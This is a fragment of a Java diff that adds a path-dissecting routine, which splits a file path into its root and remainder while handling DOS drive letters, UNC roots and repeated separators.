path = path.replace('/', sep).replace('\\', sep); + // make sure we are dealing with an absolute path + String root = null; + int colon = path.indexOf(':'); + if (colon > 0 && IS_DOS) { + + int next = colon + 1; + root = path.substring(0, next); + char[] ca = path.toCharArray(); + root += sep; + //remove the initial separator; the root has it. + next = (ca[next] == sep) ? next + 1 : next; + + StringBuffer sbPath = new StringBuffer(); + // Eliminate consecutive slashes after the drive spec: + for (int i = next; i < ca.length; i++) { + if (ca[i] != sep || ca[i - 1] != sep) { + sbPath.append(ca[i]); + } + } + path = sbPath.toString(); + } else if (path.length() > 1 && path.charAt(1) == sep) { + // UNC drive + int nextsep = path.indexOf(sep, 2); + nextsep = path.indexOf(sep, nextsep + 1); + root = (nextsep > 2) ? path.substring(0, nextsep + 1) : path; + path = path.substring(root.length()); + } else { + root = File.separator; + path = path.substring(1); + } + return new String[] {root, path}; + } +} \ No newline at end of file